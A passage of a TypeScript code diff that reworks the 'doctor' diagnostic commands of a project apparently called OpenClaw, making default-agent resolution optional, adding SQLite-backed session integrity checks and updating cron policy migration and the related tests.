{ } from "./doctor-heartbeat-main-session-repair.test-support.js"; import { detectStateIntegrityHealthIssues, - noteStateIntegrity, + noteStateIntegrity as noteStateIntegrityRaw, stateIntegrityIssueToHealthFinding, stateIntegrityIssueToRepairEffect, } from "./doctor-state-integrity.js"; @@ -42,6 +44,24 @@ vi.mock("../channels/plugins/persisted-auth-state.js", () => ({ const noteMock = vi.fn(); +function withMainAgentRoster(cfg: OpenClawConfig): OpenClawConfig { + if (cfg.agents?.entries || cfg.agents?.list) { + return cfg; + } + return { + ...cfg, + agents: { ...cfg.agents, entries: { main: { default: true } } }, + }; +} + +async function noteStateIntegrity( + cfg: OpenClawConfig, + prompter: Parameters[1], + configPath?: string, +) { + return noteStateIntegrityRaw(withMainAgentRoster(cfg), prompter, configPath); +} + function setupSessionState(cfg: OpenClawConfig, env: NodeJS.ProcessEnv, homeDir: string) { const agentId = "main"; const sessionsDir = resolveSessionTranscriptsDirForAgent(agentId, env, () => homeDir); @@ -95,9 +115,10 @@ function hasRepairPromptMessage( } async function runStateIntegrity(cfg: OpenClawConfig) { - setupSessionState(cfg, process.env, process.env.HOME ?? ""); + const effectiveConfig = withMainAgentRoster(cfg); + setupSessionState(effectiveConfig, process.env, process.env.HOME ?? ""); const confirmRuntimeRepair = vi.fn(async () => false); - await noteStateIntegrity(cfg, { confirmRuntimeRepair, note: noteMock }); + await noteStateIntegrity(effectiveConfig, { confirmRuntimeRepair, note: noteMock }); return confirmRuntimeRepair; } @@ -111,7 +132,10 @@ function writeSessionStore( } async function runStateIntegrityText(cfg: OpenClawConfig): Promise { - await noteStateIntegrity(cfg, { confirmRuntimeRepair: vi.fn(async () => false), note: noteMock }); + await noteStateIntegrity(withMainAgentRoster(cfg), { + confirmRuntimeRepair: vi.fn(async () => false), + note: noteMock, + }); return stateIntegrityText(); } @@ -128,6 +152,7 @@ describe("structured state integrity findings", () => { }); afterEach(() => { + closeOpenClawAgentDatabasesForTest(); closeOpenClawStateDatabaseForTest(); envSnapshot.restore(); fs.rmSync(tempHome, { recursive: true, force: true }); @@ -159,6 +184,18 @@ describe("structured state integrity findings", () => { }); }); + it("skips default-owned session repairs for an ambiguous roster", async () => { + fs.mkdirSync(path.join(tempHome, ".openclaw"), { recursive: true }); + await noteStateIntegrityRaw( + { agents: { entries: { alpha: {}, beta: {} } } }, + { confirmRuntimeRepair: vi.fn(async () => false), note: noteMock }, + ); + + expect(stateIntegrityText()).toContain( + "Skipped default-agent session and transcript integrity checks because the agent roster does not have exactly one default.", + ); + }); + it("reports permissive state and config file permissions as structured findings", () => { if (process.platform === "win32") { return; @@ -237,6 +274,7 @@ async function runOrphanTranscriptCheckWithQmdSessions(enabled: boolean, homeDir const cfg: OpenClawConfig = { agents: { defaults: {}, + entries: { main: { default: true } }, }, memory: { backend: "qmd", @@ -368,17 +406,17 @@ describe("doctor state integrity oauth dir checks", () => { expect(text).not.toContain("Examples:"); }); - it("reports an unconfigured main agent dir after compatibility removal", async () => { + it("protects the shared legacy main auth-store dir for an ops-only roster", async () => { createAgentDir("main"); const text = await runStateIntegrityText({ agents: { - list: [{ id: "jeremiah", default: true }], + entries: { ops: { default: true } }, }, }); - expect(text).toContain("without a matching agents.list entry"); - expect(text).toContain("Examples: main"); + expect(text).not.toContain("without a matching agents.list entry"); + expect(text).not.toContain("Examples: main"); }); it("does not let OPENCLAW_AGENT_DIR hide an unconfigured agent dir", async () => { @@ -548,6 +586,33 @@ describe("doctor state integrity oauth dir checks", () => { expect(archivedOrphanTranscripts.length).toBeGreaterThan(0); }); + it("uses SQLite session rows for transcript integrity without orphan false positives", async () => { + const cfg: OpenClawConfig = {}; + setupSessionState(cfg, process.env, process.env.HOME ?? ""); + const storePath = resolveStorePath(cfg.session?.store, { agentId: "main" }); + const sessionsDir = resolveSessionTranscriptsDirForAgent("main", process.env, () => tempHome); + const transcriptPath = path.join(sessionsDir, "sqlite-live-session.jsonl"); + fs.writeFileSync(transcriptPath, '{"type":"session"}\n'); + await upsertSessionEntry( + { agentId: "main", sessionKey: "agent:main:main", storePath }, + { + sessionFile: transcriptPath, + sessionId: "sqlite-live-session", + updatedAt: Date.now(), + }, + ); + const confirmRuntimeRepair = vi.fn(async () => false); + + await noteStateIntegrity(cfg, { confirmRuntimeRepair, note: noteMock }); + + expect(stateIntegrityText()).not.toContain("orphan transcript file"); + expect(stateIntegrityText()).not.toContain("recent sessions are missing transcripts"); + expect(fs.existsSync(transcriptPath)).toBe(true); + expect(confirmRuntimeRepair).not.toHaveBeenCalledWith( + expect.objectContaining({ message: expect.stringContaining("Archive 1 orphan") }), + ); + }); + it("does not auto-archive orphan transcripts from non-interactive repair mode", async () => { const cfg: OpenClawConfig = {}; setupSessionState(cfg, process.env, process.env.HOME ?? ""); diff --git a/src/commands/doctor-state-integrity.ts b/src/commands/doctor-state-integrity.ts index 9ea506bac023..ec8743fe3621 100644 --- a/src/commands/doctor-state-integrity.ts +++ b/src/commands/doctor-state-integrity.ts @@ -10,7 +10,7 @@ import { note } from "../../packages/terminal-core/src/note.js"; import { listAgentEntries, resolveDefaultAgentDir, - resolveDefaultAgentId, + tryResolveDefaultAgentId, } from "../agents/agent-scope.js"; import { clearWedgedSubagentRecoveryAbort, @@ -30,6 +30,12 @@ import { resolveSessionTranscriptsDirForAgent, resolveStorePath, } from "../config/sessions/paths.js"; +import { + applySessionEntryReplacements, + listSessionEntriesReadOnly, +} from "../config/sessions/session-accessor.js"; +import { parseSqliteSessionFileMarker } from "../config/sessions/sqlite-marker.js"; +import type { SessionEntry } from "../config/sessions/types.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { HealthFinding, HealthRepairEffect } from "../flows/health-checks.js"; import { resolveRequiredHomeDir } from "../infra/home-dir.js"; @@ -39,6 +45,7 @@ import { } from "../infra/state-migrations.legacy-session-store.js"; import { resolveMemoryBackendConfig } from "../memory-host-sdk/engine-storage.js"; import { listConfiguredChannelIdsForReadOnlyScope } from "../plugins/channel-plugin-ids.js"; +import { LEGACY_IMPLICIT_AGENT_ID } from "../routing/session-key.js"; import { normalizeAgentId } from "../routing/session-key.js"; import { parseAgentSessionKey } from "../sessions/session-key-utils.js"; import { shortenHomePath } from "../utils.js"; @@ -177,14 +184,19 @@ function formatOrphanAgentDirPreview(entries: OrphanAgentDir[], limit = 3): stri } function listOrphanAgentDirs(cfg: OpenClawConfig, stateDir: string): OrphanAgentDir[] { - const configuredIds = new Set(); - configuredIds.add(normalizeAgentId(resolveDefaultAgentId(cfg))); + // agents/main/agent also owns the shipped shared legacy auth store. + // Keep main undeletable until named agents make auth-store ownership explicit. + const configuredIds = new Set([LEGACY_IMPLICIT_AGENT_ID]); + const defaultAgentId = tryResolveDefaultAgentId(cfg); + if (defaultAgentId) { + configuredIds.add(normalizeAgentId(defaultAgentId)); + } for (const entry of listAgentEntries(cfg)) { configuredIds.add(normalizeAgentId(entry.id)); } const agentsRoot = path.join(stateDir, "agents"); - const liveDefaultAgentDir = resolveDefaultAgentDir(cfg); + const liveDefaultAgentDir = defaultAgentId ? resolveDefaultAgentDir(cfg) : undefined; try { const entries = fs.readdirSync(agentsRoot, { withFileTypes: true }); return entries @@ -199,7 +211,7 @@ function listOrphanAgentDirs(cfg: OpenClawConfig, stateDir: string): OrphanAgent if (!hasNestedAgentDir) { return false; } - if (areComparablePathsEqual(nestedAgentDir, liveDefaultAgentDir)) { + if (liveDefaultAgentDir && areComparablePathsEqual(nestedAgentDir, liveDefaultAgentDir)) { return false; } if (!configuredIds.has(agentId)) { @@ -780,10 +792,12 @@ export function detectStateIntegrityHealthIssues( const homedir = () => resolveRequiredHomeDir(env, params?.homedir ?? os.homedir); const stateDir = resolveStateDir(env, homedir); const oauthDir = resolveOAuthDir(env, stateDir); - const agentId = resolveDefaultAgentId(cfg); - const sessionsDir = resolveSessionTranscriptsDirForAgent(agentId, env, homedir); - const storePath = resolveStorePath(cfg.session?.store, { agentId }); - const storeDir = path.dirname(storePath); + const agentId = tryResolveDefaultAgentId(cfg); + const sessionsDir = agentId + ? resolveSessionTranscriptsDirForAgent(agentId, env, homedir) + : undefined; + const storePath = agentId ? resolveStorePath(cfg.session?.store, { agentId }) : undefined; + const storeDir = storePath ? path.dirname(storePath) : undefined; const requireOAuthDir = shouldRequireOAuthDir(cfg, env); const cloudSyncedStateDir = detectMacCloudSyncedStateDir(stateDir); @@ -861,8 +875,12 @@ export function detectStateIntegrityHealthIssues( if (stateDirExists) { const dirCandidates = new Map(); - dirCandidates.set(sessionsDir, "Sessions dir"); - dirCandidates.set(storeDir, "Session store dir"); + if (sessionsDir) { + dirCandidates.set(sessionsDir, "Sessions dir"); + } + if (storeDir) { + dirCandidates.set(storeDir, "Session store dir"); + } if (requireOAuthDir) { dirCandidates.set(oauthDir, "OAuth dir"); } @@ -1046,21 +1064,25 @@ export async function noteStateIntegrity( const stateDir = resolveStateDir(env, homedir); const defaultStateDir = path.join(homedir(), ".openclaw"); const oauthDir = resolveOAuthDir(env, stateDir); - const agentId = resolveDefaultAgentId(cfg); - const sessionsDir = resolveSessionTranscriptsDirForAgent(agentId, env, homedir); - const storePath = resolveStorePath(cfg.session?.store, { agentId }); - const storeDir = path.dirname(storePath); - const absoluteStorePath = path.resolve(storePath); + const agentId = tryResolveDefaultAgentId(cfg); + const sessionsDir = agentId + ? resolveSessionTranscriptsDirForAgent(agentId, env, homedir) + : undefined; + const storePath = agentId ? resolveStorePath(cfg.session?.store, { agentId }) : undefined; + const storeDir = storePath ? path.dirname(storePath) : undefined; + const absoluteStorePath = storePath ? path.resolve(storePath) : undefined; const displayStateDir = shortenHomePath(stateDir); const displayOauthDir = shortenHomePath(oauthDir); - const displaySessionsDir = shortenHomePath(sessionsDir); - const displayStoreDir = shortenHomePath(storeDir); + const displaySessionsDir = sessionsDir ? shortenHomePath(sessionsDir) : undefined; + const displayStoreDir = storeDir ? shortenHomePath(storeDir) : undefined; const displayConfigPath = configPath ? shortenHomePath(configPath) : undefined; const requireOAuthDir = shouldRequireOAuthDir(cfg, env); const cloudSyncedStateDir = detectMacCloudSyncedStateDir(stateDir); const linuxSdBackedStateDir = detectLinuxSdBackedStateDir(stateDir); const linuxVolatileStateDir = detectLinuxVolatileStateDir(stateDir); - const suppressOrphanTranscriptWarning = shouldSuppressOrphanTranscriptWarning(cfg, agentId); + const suppressOrphanTranscriptWarning = agentId + ? shouldSuppressOrphanTranscriptWarning(cfg, agentId) + : false; if (cloudSyncedStateDir) { warnings.push( @@ -1184,8 +1206,12 @@ export async function noteStateIntegrity( if (stateDirExists) { const dirCandidates = new Map(); - dirCandidates.set(sessionsDir, "Sessions dir"); - dirCandidates.set(storeDir, "Session store dir"); + if (sessionsDir) { + dirCandidates.set(sessionsDir, "Sessions dir"); + } + if (storeDir) { + dirCandidates.set(storeDir, "Session store dir"); + } if (requireOAuthDir) { dirCandidates.set(oauthDir, "OAuth dir"); } else if (!existsDir(oauthDir)) { @@ -1279,9 +1305,30 @@ export async function noteStateIntegrity( ); } - // The doctor importer is uncached and returns one mutable parse, avoiding the - // duplicate materialization that made large legacy stores OOM (#56827). - const store = loadLegacySessionStore(storePath); + if (!agentId || !sessionsDir || !storePath || !absoluteStorePath || !displaySessionsDir) { + warnings.push( + "- Skipped default-agent session and transcript integrity checks because the agent roster does not have exactly one default.", + ); + if (warnings.length > 0) { + noteFn(warnings.join("\n"), "State integrity"); + } + if (changes.length > 0) { + noteFn(changes.join("\n"), "Doctor changes"); + } + return; + } + + const sqliteEntries = listSessionEntriesReadOnly({ agentId, storePath: absoluteStorePath }); + const sqliteSessionKeys = new Set(sqliteEntries.map(({ sessionKey }) => sessionKey)); + // A successful SQLite import archives sessions.json. Its continued presence + // is therefore the explicit signal that pre-import rows still need inspection. + const legacyStore = existsFile(absoluteStorePath) + ? loadLegacySessionStore(absoluteStorePath) + : {}; + const store: Record = { ...legacyStore }; + for (const { entry, sessionKey } of sqliteEntries) { + store[sessionKey] = entry; + } const sessionPathOpts = resolveSessionFilePathOptions({ agentId, storePath }); const entries = Object.entries(store).filter(([, entry]) => entry && typeof entry === "object"); const canonicalEntryCount = await noteMainSessionRecoveryIntegrity({ @@ -1307,6 +1354,9 @@ export async function noteStateIntegrity( if (!sessionId) { return false; } + if (parseSqliteSessionFileMarker(entry.sessionFile)) { + return false; + } const transcriptPath = resolveSessionFilePath(sessionId, entry, sessionPathOpts); return !existsFile(transcriptPath); }); @@ -1344,15 +1394,35 @@ export async function noteStateIntegrity( if (repairWedged) { let repaired = 0; const repairedAt = Date.now(); - await updateLegacySessionStore(absoluteStorePath, (currentStore) => { - for (const [key] of wedgedSubagentSessions) { - const current = currentStore[key]; - if (current && clearWedgedSubagentRecoveryAbort(current, repairedAt)) { - repaired += 1; - currentStore[key] = current; + const sqliteKeys = wedgedSubagentSessions + .map(([key]) => key) + .filter((key) => sqliteSessionKeys.has(key)); + if (sqliteKeys.length > 0) { + repaired += await applySessionEntryReplacements({ + sessionKeys: sqliteKeys, + storePath: absoluteStorePath, + update: (currentEntries) => { + const replacements = currentEntries.flatMap(({ entry, sessionKey }) => + clearWedgedSubagentRecoveryAbort(entry, repairedAt) ? [{ entry, sessionKey }] : [], + ); + return { replacements, result: replacements.length }; + }, + }); + } + const legacyKeys = wedgedSubagentSessions + .map(([key]) => key) + .filter((key) => !sqliteSessionKeys.has(key)); + if (legacyKeys.length > 0 && existsFile(absoluteStorePath)) { + await updateLegacySessionStore(absoluteStorePath, (currentStore) => { + for (const key of legacyKeys) { + const current = currentStore[key]; + if (current && clearWedgedSubagentRecoveryAbort(current, repairedAt)) { + repaired += 1; + currentStore[key] = current; + } } - } - }); + }); + } if (repaired > 0) { changes.push( `- Cleared aborted restart-recovery flags for ${countLabel( @@ -1420,7 +1490,9 @@ export async function noteStateIntegrity( } } - if (existsDir(sessionsDir)) { + // SQLite transcript ownership is repaired by the import/migration workflow. + // Never offer generic file archival against a live canonical session store. + if (sqliteEntries.length === 0 && existsDir(sessionsDir)) { const referencedTranscriptPaths = new Set(); for (const [, entry] of entries) { if (!entry?.sessionId) { diff --git a/src/commands/doctor-workspace-status.test.ts b/src/commands/doctor-workspace-status.test.ts index 9633404a062f..15df03f08463 100644 --- a/src/commands/doctor-workspace-status.test.ts +++ b/src/commands/doctor-workspace-status.test.ts @@ -27,7 +27,7 @@ const mocks = vi.hoisted(() => ({ vi.mock("../agents/agent-scope.js", () => ({ listAgentIds: (cfg: OpenClawConfig) => mocks.listAgentIds(cfg), resolveAgentWorkspaceDir: (...args: unknown[]) => mocks.resolveAgentWorkspaceDir(...args), - resolveDefaultAgentId: (...args: unknown[]) => mocks.resolveDefaultAgentId(...args), + tryResolveDefaultAgentId: (...args: unknown[]) => mocks.resolveDefaultAgentId(...args), })); vi.mock("../plugins/status.js", () => ({ diff --git a/src/commands/doctor-workspace-status.ts b/src/commands/doctor-workspace-status.ts index 584f7f44ebaa..2115d61fa07a 100644 --- a/src/commands/doctor-workspace-status.ts +++ b/src/commands/doctor-workspace-status.ts @@ -3,7 +3,7 @@ import { note } from "../../packages/terminal-core/src/note.js"; import { listAgentIds, resolveAgentWorkspaceDir, - resolveDefaultAgentId, + tryResolveDefaultAgentId, } from "../agents/agent-scope.js"; import { formatCliCommand } from "../cli/command-format.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; @@ -203,7 +203,7 @@ function notePluginVersionDrift(drift: PluginVersionDriftReport | undefined) { /** Emits plugin and TaskFlow recovery problem notes for doctor. */ export function noteWorkspaceStatus(cfg: OpenClawConfig, options: NoteWorkspaceStatusOptions = {}) { - const defaultAgentId = resolveDefaultAgentId(cfg); + const defaultAgentId = tryResolveDefaultAgentId(cfg); const agentIds = listAgentIds(cfg); const scopes = agentIds.map((agentId) => ({ agentId, diff --git a/src/commands/doctor-workspace.test.ts b/src/commands/doctor-workspace.test.ts index ca1bc28b7caa..f6ea1371b14e 100644 --- a/src/commands/doctor-workspace.test.ts +++ b/src/commands/doctor-workspace.test.ts @@ -168,7 +168,9 @@ describe("root memory repair", () => { if (!entries.has("MEMORY.md") || !entries.has("memory.md")) { return; } - const cfg = { agents: { defaults: { workspace: tmpDir } } } as OpenClawConfig; + const cfg = { + agents: { defaults: { workspace: tmpDir }, entries: { main: { default: true } } }, + } as OpenClawConfig; const prompter = { confirmRuntimeRepair: vi.fn(async () => true), } as unknown as DoctorPrompter; @@ -272,7 +274,9 @@ describe("root memory repair", () => { await fs.writeFile(targetFile, "# Canonical\n", "utf8"); await fs.symlink(targetFile, path.join(tmpDir, "MEMORY.md")); await fs.writeFile(path.join(tmpDir, "memory.md"), "# Legacy\n", "utf8"); - const cfg = { agents: { defaults: { workspace: tmpDir } } } as OpenClawConfig; + const cfg = { + agents: { defaults: { workspace: tmpDir }, entries: { main: { default: true } } }, + } as OpenClawConfig; const prompter = { confirmRuntimeRepair: vi.fn(async () => true), } as unknown as DoctorPrompter; @@ -292,7 +296,9 @@ describe("root memory repair", () => { it("reports a skipped repair when a root memory file is oversized", async () => { await fs.writeFile(path.join(tmpDir, "MEMORY.md"), "# Canonical\n", "utf8"); await fs.writeFile(path.join(tmpDir, "memory.md"), "# Legacy\n".repeat(1_000_000), "utf8"); - const cfg = { agents: { defaults: { workspace: tmpDir } } } as OpenClawConfig; + const cfg = { + agents: { defaults: { workspace: tmpDir }, entries: { main: { default: true } } }, + } as OpenClawConfig; const prompter = { confirmRuntimeRepair: vi.fn(async () => true), } as unknown as DoctorPrompter; @@ -337,7 +343,9 @@ describe("root memory repair", () => { it("reports when legacy memory cannot be archived atomically", async () => { await fs.writeFile(path.join(tmpDir, "MEMORY.md"), "# Canonical\n", "utf8"); await fs.writeFile(path.join(tmpDir, "memory.md"), "# Legacy\n", "utf8"); - const cfg = { agents: { defaults: { workspace: tmpDir } } } as OpenClawConfig; + const cfg = { + agents: { defaults: { workspace: tmpDir }, entries: { main: { default: true } } }, + } as OpenClawConfig; const prompter = { confirmRuntimeRepair: vi.fn(async () => true), } as unknown as DoctorPrompter; @@ -366,7 +374,9 @@ describe("root memory repair", () => { const legacyPath = path.join(tmpDir, "memory.md"); await fs.writeFile(canonicalPath, "# Canonical\n", "utf8"); await fs.writeFile(legacyPath, "# Legacy\n", "utf8"); - const cfg = { agents: { defaults: { workspace: tmpDir } } } as OpenClawConfig; + const cfg = { + agents: { defaults: { workspace: tmpDir }, entries: { main: { default: true } } }, + } as OpenClawConfig; const prompter = { confirmRuntimeRepair: vi.fn(async () => true), } as unknown as DoctorPrompter; diff --git a/src/commands/doctor-workspace.ts b/src/commands/doctor-workspace.ts index 0e68d2d5385a..f11bd217f216 100644 --- a/src/commands/doctor-workspace.ts +++ b/src/commands/doctor-workspace.ts @@ -2,7 +2,7 @@ import fs from "node:fs"; import path from "node:path"; import { note } from "../../packages/terminal-core/src/note.js"; -import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { resolveAgentWorkspaceDir, tryResolveDefaultAgentId } from "../agents/agent-scope.js"; import { DEFAULT_AGENTS_FILENAME } from "../agents/workspace.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { formatErrorMessage } from "../infra/errors.js"; @@ -326,7 +326,10 @@ export async function noteWorkspaceMemoryHealth( scope?: WorkspaceMemoryDoctorScope, ): Promise { try { - const agentId = scope?.agentId ?? resolveDefaultAgentId(cfg); + const agentId = scope?.agentId ?? tryResolveDefaultAgentId(cfg); + if (!agentId) { + throw new Error("Cannot inspect workspace memory until the agent roster has one default"); + } const workspaceDir = scope?.workspaceDir ?? resolveAgentWorkspaceDir(cfg, agentId); const rootMemoryWarning = formatRootMemoryFilesWarning( await detectRootMemoryFiles(workspaceDir), @@ -353,7 +356,10 @@ export async function maybeRepairWorkspaceMemoryHealth(params: { scope?: WorkspaceMemoryDoctorScope; }): Promise { try { - const agentId = params.scope?.agentId ?? resolveDefaultAgentId(params.cfg); + const agentId = params.scope?.agentId ?? tryResolveDefaultAgentId(params.cfg); + if (!agentId) { + throw new Error("Cannot repair workspace memory until the agent roster has one default"); + } const configuredWorkspaceDir = params.scope?.workspaceDir ?? resolveAgentWorkspaceDir(params.cfg, agentId); const prefix = params.scope?.labelAgent ? `Agent "${agentId}": ` : ""; diff --git a/src/commands/doctor.ts b/src/commands/doctor.ts index 99aa77887e0a..eb2b7bbf5b25 100644 --- a/src/commands/doctor.ts +++ b/src/commands/doctor.ts @@ -2,6 +2,7 @@ import { resolveSqliteTargetFromSessionStorePath } from "../config/sessions/session-sqlite-target.js"; import { resolveSessionStoreTargets } from "../config/sessions/targets.js"; import { resolveSqliteDatabaseFilePaths } from "../infra/sqlite-files.js"; +import { LEGACY_IMPLICIT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; import { defaultRuntime, type RuntimeEnv, writeRuntimeJson } from "../runtime.js"; import { runPostUpgradeProbes } from "./doctor-post-upgrade.js"; import type { DoctorOptions } from "./doctor-prompter.js"; @@ -15,10 +16,11 @@ function resolveExplicitSessionSqliteMaintenancePaths(options: DoctorOptions): s if (!options.sessionSqliteStore) { return []; } + const requestedAgentId = normalizeAgentId(options.sessionSqliteAgent ?? LEGACY_IMPLICIT_AGENT_ID); // Explicit path mode intentionally bypasses runtime config. Resolve through // the same selector as the migration so ownership checks cover exact targets. const targets = resolveSessionStoreTargets( - {}, + { agents: { entries: { [requestedAgentId]: { default: true } } } }, { store: options.sessionSqliteStore, ...(options.sessionSqliteAgent ? { agent: options.sessionSqliteAgent } : {}), diff --git a/src/commands/doctor/cron/runtime-policy-migration.ts b/src/commands/doctor/cron/runtime-policy-migration.ts index e9544ed5c9a8..8e3f1e9fd451 100644 --- a/src/commands/doctor/cron/runtime-policy-migration.ts +++ b/src/commands/doctor/cron/runtime-policy-migration.ts @@ -1,6 +1,6 @@ // Doctor-only runtime policy repair for migrated cron Codex model refs. import { asOptionalRecord } from "@openclaw/normalization-core/record-coerce"; -import { resolveDefaultAgentId } from "../../../agents/agent-scope-config.js"; +import { tryResolveDefaultAgentId } from "../../../agents/agent-scope-config.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; import { normalizeAgentId } from "../../../routing/session-key.js"; import { @@ -31,8 +31,19 @@ function resolvePolicyOwner(params: { const requestedAgentId = params.target.agentId ? normalizeAgentId(params.target.agentId) : undefined; - const defaultAgentId = resolveDefaultAgentId(params.cfg); + const defaultAgentId = tryResolveDefaultAgentId(params.cfg); const effectiveAgentId = requestedAgentId ?? defaultAgentId; + if (!effectiveAgentId) { + return undefined; + } + const entries = asOptionalRecord(agents.entries); + const keyedEntry = entries + ? Object.entries(entries).find(([agentId]) => normalizeAgentId(agentId) === effectiveAgentId) + : undefined; + const keyedRecord = asOptionalRecord(keyedEntry?.[1]); + if (keyedEntry && keyedRecord) { + return { owner: keyedRecord, path: `agents.entries.${keyedEntry[0]}` }; + } const list = Array.isArray(agents.list) ? agents.list : []; const owner = list.find((entry) => { const record = asOptionalRecord(entry); diff --git a/src/commands/doctor/cron/store-migration.test.ts b/src/commands/doctor/cron/store-migration.test.ts index eaedc9c10d44..32f2ac6f270b 100644 --- a/src/commands/doctor/cron/store-migration.test.ts +++ b/src/commands/doctor/cron/store-migration.test.ts @@ -159,11 +159,11 @@ describe("normalizeStoredCronJobs", () => { expect(payload.model).toBe("openai/gpt-5.6-sol"); expect(payload.fallbacks).toEqual(["openai/gpt-5.4-mini"]); const runtimeRepair = repairCronCodexRuntimePolicies({ - cfg: {}, + cfg: { agents: { entries: { main: { default: true } } } }, targets: result.codexRuntimePolicyTargets, }); expect(runtimeRepair.warnings).toStrictEqual([]); - expect(runtimeRepair.config.agents?.defaults?.models).toMatchObject({ + expect(runtimeRepair.config.agents?.entries?.main?.models).toMatchObject({ "openai/gpt-5.6-sol": { agentRuntime: { id: "codex" } }, "openai/gpt-5.4-mini": { agentRuntime: { id: "codex" } }, }); @@ -228,8 +228,14 @@ describe("normalizeStoredCronJobs", () => { cfg: { agents: { defaults: { - models: { - "openai/gpt-5.6-sol": { agentRuntime: { id: "openclaw" } }, + model: { primary: "openai/gpt-5.6-sol" }, + }, + entries: { + main: { + default: true, + models: { + "openai/gpt-5.6-sol": { agentRuntime: { id: "openclaw" } }, + }, }, }, }, @@ -388,7 +394,7 @@ describe("normalizeStoredCronJobs", () => { expect((job.payload as Record).model).toBe("openai/gpt-5.6-sol"); }); - it("writes an implicit default agent policy to defaults when no list entry exists", () => { + it("writes the configured default agent policy to its canonical keyed entry", () => { const jobs = [ makeLegacyJob({ id: "implicit-default-codex-model", @@ -401,13 +407,14 @@ describe("normalizeStoredCronJobs", () => { }), ]; const policyRepair = repairCronCodexRuntimePolicies({ - cfg: {}, + cfg: { agents: { entries: { main: { default: true } } } }, targets: collectStoredCronCodexRuntimePolicyTargets(jobs), }); - expect(policyRepair.config.agents?.defaults?.models).toMatchObject({ + expect(policyRepair.config.agents?.entries?.main?.models).toMatchObject({ "openai/gpt-5.6-sol": { agentRuntime: { id: "codex" } }, }); + expect(policyRepair.config.agents?.defaults?.models).toBeUndefined(); }); it("retains a post-snapshot Codex ref until its runtime policy is persisted", () => { @@ -423,7 +430,7 @@ describe("normalizeStoredCronJobs", () => { }), ]; const rewritePlan = planCronCodexRefRewriteAgainstPersistedConfig({ - cfg: {}, + cfg: { agents: { entries: { main: { default: true } } } }, targets: collectStoredCronCodexRuntimePolicyTargets(jobs), }); const blocked = new Set(rewritePlan.blockedTargets.map(cronCodexRuntimePolicyTargetKey)); diff --git a/src/commands/doctor/shared/bundled-plugin-load-paths.ts b/src/commands/doctor/shared/bundled-plugin-load-paths.ts index 2e8c8b7ebfc0..ec7d1ea11d2f 100644 --- a/src/commands/doctor/shared/bundled-plugin-load-paths.ts +++ b/src/commands/doctor/shared/bundled-plugin-load-paths.ts @@ -1,7 +1,7 @@ // Doctor warnings and repairs for redundant bundled plugin load path aliases. import path from "node:path"; import { sanitizeForLog } from "../../../../packages/terminal-core/src/ansi.js"; -import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../../../agents/agent-scope.js"; +import { resolveAgentWorkspaceDir, tryResolveDefaultAgentId } from "../../../agents/agent-scope.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; import { buildBundledPluginLoadPathAliases, @@ -21,7 +21,8 @@ type BundledPluginLoadPathHit = { }; function resolveBundledWorkspaceDir(cfg: OpenClawConfig): string | undefined { - return resolveAgentWorkspaceDir(cfg, resolveDefaultAgentId(cfg)) ?? undefined; + const defaultAgentId = tryResolveDefaultAgentId(cfg); + return defaultAgentId ? resolveAgentWorkspaceDir(cfg, defaultAgentId) : undefined; } function isOpenClawNodeModulesPackageRoot(packageRoot: string): boolean { diff --git a/src/commands/doctor/shared/codex-route-compaction-scan.ts b/src/commands/doctor/shared/codex-route-compaction-scan.ts index b5ab65d23621..f4946f1a499a 100644 --- a/src/commands/doctor/shared/codex-route-compaction-scan.ts +++ b/src/commands/doctor/shared/codex-route-compaction-scan.ts @@ -1,6 +1,7 @@ import { asOptionalRecord as asMutableRecord } from "@openclaw/normalization-core/record-coerce"; import { normalizeOptionalLowercaseString as normalizeString } from "@openclaw/normalization-core/string-coerce"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; +import { listMutableCodexRouteAgentEntries } from "./codex-route-agent-entries.js"; import { agentUsesCodexRuntimeForCompaction, asAgentRuntimePolicyConfig, @@ -145,18 +146,14 @@ export function collectLegacyLosslessCompactionConfigs(params: { currentRuntime: resolveRuntime({ defaultsRuntime }), env: params.env, }); - const agents = Array.isArray(params.cfg.agents?.list) ? params.cfg.agents.list : []; - for (const [index, agent] of agents.entries()) { - const agentRecord = asMutableRecord(agent); - if (!agentRecord) { - continue; - } - const id = readAgentPathId(agentRecord, index); + for (const { agent: agentRecord, agentId: id, path } of listMutableCodexRouteAgentEntries( + params.cfg, + )) { hits.push( ...collectLegacyLosslessCompactionForAgent({ cfg: params.cfg, agent: agentRecord, - path: `agents.list.${id}`, + path, agentId: id, currentRuntime: resolveRuntime({ agentRuntime: params.ignoreLegacyAgentRuntimePins @@ -192,18 +189,14 @@ export function collectUnsupportedCodexCompactionOverrides(params: { currentRuntime: resolveRuntime({ defaultsRuntime }), env: params.env, }); - const agents = Array.isArray(params.cfg.agents?.list) ? params.cfg.agents.list : []; - for (const [index, agent] of agents.entries()) { - const agentRecord = asMutableRecord(agent); - if (!agentRecord) { - continue; - } - const id = readAgentPathId(agentRecord, index); + for (const { agent: agentRecord, agentId: id, path } of listMutableCodexRouteAgentEntries( + params.cfg, + )) { hits.push( ...collectUnsupportedCodexCompactionOverridesForAgent({ cfg: params.cfg, agent: agentRecord, - path: `agents.list.${id}`, + path, agentId: id, currentRuntime: resolveRuntime({ agentRuntime: params.ignoreLegacyAgentRuntimePins @@ -256,12 +249,7 @@ export function getSharedDefaultCompactionOverrideConsumers(params: { return consumers; } } - const agents = Array.isArray(params.cfg.agents?.list) ? params.cfg.agents.list : []; - for (const [index, agent] of agents.entries()) { - const agentRecord = asMutableRecord(agent); - if (!agentRecord) { - continue; - } + for (const { agent: agentRecord, agentId: id } of listMutableCodexRouteAgentEntries(params.cfg)) { const compaction = asMutableRecord(agentRecord.compaction); const inheritsDefaultModel = Boolean(hasDefaultModel) && @@ -272,7 +260,6 @@ export function getSharedDefaultCompactionOverrideConsumers(params: { if (!inheritsDefaultModel && !inheritsDefaultProvider) { continue; } - const id = readAgentPathId(agentRecord, index); const usesCodexCompaction = agentUsesCodexRuntimeForCompaction({ cfg: params.cfg, agent: agentRecord, @@ -325,12 +312,7 @@ export function sharedDefaultLosslessCompactionHasNonCodexConsumer(params: { return true; } const inheritedModelRef = readAgentPrimaryModelRef(defaults); - const agents = Array.isArray(params.cfg.agents?.list) ? 